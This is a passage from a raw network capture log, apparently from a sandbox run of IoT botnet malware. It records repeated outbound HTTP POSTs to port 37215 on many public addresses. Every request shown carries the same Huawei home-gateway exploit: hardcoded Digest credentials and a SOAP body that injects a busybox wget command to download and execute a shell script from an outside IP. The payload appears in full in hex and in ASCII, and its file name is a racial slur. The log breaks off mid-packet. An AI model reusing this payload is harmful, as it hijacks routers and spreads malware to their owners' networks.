HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.23	47678	94.187.101.133	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:15.057955027 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.23	54058	94.120.208.132	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:15.058414936 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.23	38772	94.122.238.221	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:15.058831930 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.23	49070	94.120.152.249	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:15.061227083 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.23	44722	94.123.42.10	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:15.061335087 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.23	34746	94.123.125.112	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:15.066952944 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.23	48372	94.121.132.159	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:15.071995974 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.23	60298	94.123.86.226	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:15.072101116 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.23	42826	94.121.181.163	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:15.307832956 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 